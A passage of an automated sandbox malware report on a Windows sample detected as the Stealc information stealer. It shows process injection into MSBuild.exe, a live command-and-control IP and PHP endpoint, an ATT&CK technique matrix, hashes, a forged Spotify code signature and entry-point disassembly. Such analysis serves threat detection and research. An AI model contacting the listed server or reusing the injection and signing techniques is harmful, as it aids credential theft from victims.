Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E7360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003E7360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003E7672
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E77FF SetUnhandledExceptionFilter,	0_2_003E77FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003ED7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_003ED7C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041CEEA SetUnhandledExceptionFilter,	3_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041B33A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 5368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5580, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 10D6008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003FC079
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003FC0C4
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003FC15F
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_003FC1EA
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003FC43D
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_003FC566
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003FC66C
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_003FC73B
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_003F5ACF
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_003FBDD7
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_003F5F79

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003E7565 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_003E7565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00417850 GetUserNameA,

3_2_00417850

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.40cae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40cae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.40cae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40cae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 System Owner/User Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Link
http://62.204.41.159/	23%	Virustotal	Browse
http://62.204.41.159/edd20096ecef326d.php(#	11%	Virustotal	Browse
http://62.204.41.159/edd20096ecef326d.php	24%	Virustotal	Browse
http://62.204.41.159/edd20096ecef326d.phpl#	14%	Virustotal	Browse
http://62.204.41.159/edd20096ecef326d.php#	24%	Virustotal	Browse
http://62.204.41.159/c	21%	Virustotal	Browse
http://62.204.41.159/ows	10%	Virustotal	Browse
http://62.204.41.159/edd20096ecef326d.phpH#	8%	Virustotal	Browse
http://62.204.41.159	23%	Virustotal	Browse
http://62.204.41.159/=	14%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.159/	true	23%, Virustotal, Browse	unknown
http://62.204.41.159/edd20096ecef326d.php	true	24%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://62.204.41.159/c	MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse	unknown
http://62.204.41.159/edd20096ecef326d.phpl#	MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
http://62.204.41.159/edd20096ecef326d.php(#	MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	false	11%, Virustotal, Browse	unknown
http://62.204.41.159/edd20096ecef326d.phpH#	MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse	unknown
http://62.204.41.159/edd20096ecef326d.php#	MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse	unknown
http://62.204.41.159/ows	MSBuild.exe, 00000003.00000002.2144302297.00000000015D7000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
http://62.204.41.159(	MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.159	MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	true	23%, Virustotal, Browse	unknown
http://62.204.41.159/=	MSBuild.exe, 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
http://62.204.41.159/edd20096ecef326d.php=a	MSBuild.exe, 00000003.00000002.2144302297.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.159	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527564
Start date and time:	2024-10-07 03:15:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 25 Number of non-executed functions: 66
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.113.110.67, 4.245.163.56, 192.229.221.95, 13.85.23.206, 199.232.214.172, 40.113.103.199, 52.165.164.15, 88.221.110.91, 2.16.100.168
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, wns.notify.trafficmanager.net, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.204.41.159	552RZ9fPMe.exe	Get hash	malicious	Stealc	Browse	62.204.41.159/edd20096ecef326d.php
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159/edd20096ecef326d.php
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159/edd20096ecef326d.php
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	62.204.41.159/edd20096ecef326d.php
	InstallSetup.exe	Get hash	malicious	Stealc	Browse	62.204.41.159/edd20096ecef326d.php
	ScreenUpdateSync.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159/edd20096ecef326d.php
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	62.204.41.159/edd20096ecef326d.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159/edd20096ecef326d.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	62.204.41.159/edd20096ecef326d.php
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159/edd20096ecef326d.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.60
	https://maxask.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	13.107.246.60
	2d3on76vhf.exe	Get hash	malicious	Socks5Systemz	Browse	13.107.246.60
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://ln.run/qHANs	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
fp2e7a.wpc.phicdn.net	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://maxask.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	192.229.221.95
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://www.ngdhqw.blogspot.de/	Get hash	malicious	GRQ Scam	Browse	192.229.221.95
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	192.229.221.95
bg.microsoft.map.fastly.net	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	199.232.214.172
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.210.172
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://event.stibee.com/v2/click/NDA4MDIvMjQzMzA0Ny80OTAyMzcv/aHR0cHM6Ly91cHBpdHkuY28ua3IvJWVhJWI3JWI4JWViJTgyJWEwLTUlZWIlYTclOGMtJWVjJTliJTkwJWViJThjJTgwLSVlYyU4MiViYyVlYyVhMCU4NCVlYyU5ZCU4NC0lZWIlYjQlYTQlZWMlOTYlYjQlZWMlOWElOTQtMi8	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://milumuduli.github.io/netflix-template	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	http://hasnat22.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	http://hassan6077224.github.io/netflixclonetechtitans	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TNNET-ASTNNetOyMainnetworkFI	552RZ9fPMe.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	InstallSetup.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	ScreenUpdateSync.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	62.204.41.159
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	173.222.162.64
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	173.222.162.64
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://revsolsavenue.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://m4xnk.github.io/netflix-clone-by-m4xnk	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://netzerosystem00.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://barik-ankita.github.io/Netflix-clone	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://directcoverbet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.60
	https://maxask.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	13.107.246.60
	Camtech_Korea_Invoice_2024.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	13.107.246.60
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	13.107.246.60

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.693216122330134
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	514'936 bytes
MD5:	79175e5acbef41e7bd57be7381965c49
SHA1:	3a3ecb2618c0d0a0095e3b2b7e0ae1e8baf9dfba
SHA256:	1f11629cc1cf4d00dbfbe5f11f5df7b5588dccac7e7cf85dc5e696703179ad28
SHA512:	bfe4292a3d30eb434f903d7814891aa20ff1abe640f2b6e6ce3974a62d3ce52f6eb1dad336e45ec39552e11d48bcdfaf16aa280e26f5ca0dbc627de74b5c4ec8
SSDEEP:	12288:iK2bpydeHVNOlhGd8RP/H1FGv17rc9aug+iKcvHwrKC:iKIydi+lhtPv6hrezCGb
TLSH:	17B4F11279C08071C97329310AF4DAB46E7DB9704F665E8F67A81B7E8F30681D7216BB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406c99
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67032EFC [Mon Oct 7 00:44:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a60bdb87c5f6c8156150002e03d82eb0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 02:00:00 20/10/2023 01:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007F4EDC604A29h
jmp 00007F4EDC603F8Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F4EDC60412Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F4EDC60411Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F4EDC60411Eh
add edx, 28h
cmp edx, esi
jne 00007F4EDC6040FCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F4EDC60410Bh
push esi
call 00007F4EDC604D3Dh
test eax, eax
je 00007F4EDC604132h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047A364h
mov edx, dword ptr [eax+04h]
jmp 00007F4EDC604116h
cmp edx, eax
je 00007F4EDC604122h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F4EDC604102h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F4EDC604119h
mov byte ptr [0047A368h], 00000001h
call 00007F4EDC6043D3h
call 00007F4EDC6072F0h
test al, al
jne 00007F4EDC604116h
xor al, al
pop ebp
ret
call 00007F4EDC60FD54h
test al, al
jne 00007F4EDC60411Ch
push 00000000h
call 00007F4EDC6072F7h
pop ecx
jmp 00007F4EDC6040FBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047A369h], 00000000h
je 00007F4EDC604116h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b680	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7b000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x7b200	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0x1abc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29ba0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ae0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x128	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e30	0x21000	50f71e7f34650fea1bb8a16557bece2c	False	0.5846502130681818	data	6.654384035388684	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9d24	0x9e00	8593339a1766956edb57cf27e4fd5ef5	False	0.43505241297468356	data	4.959866654957623	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x4ef90	0x4e200	fe8d574e723eebd21b0a342514f8826a	False	0.98994375	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990751318558664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7b000	0x1d5	0x200	1cd2a53154f20c14100f0cb012c84071	False	0.52734375	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0x1abc	0x1c00	0006fa9df989ad38196ff6c017d2a8f8	False	0.7271205357142857	data	6.378940370826228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

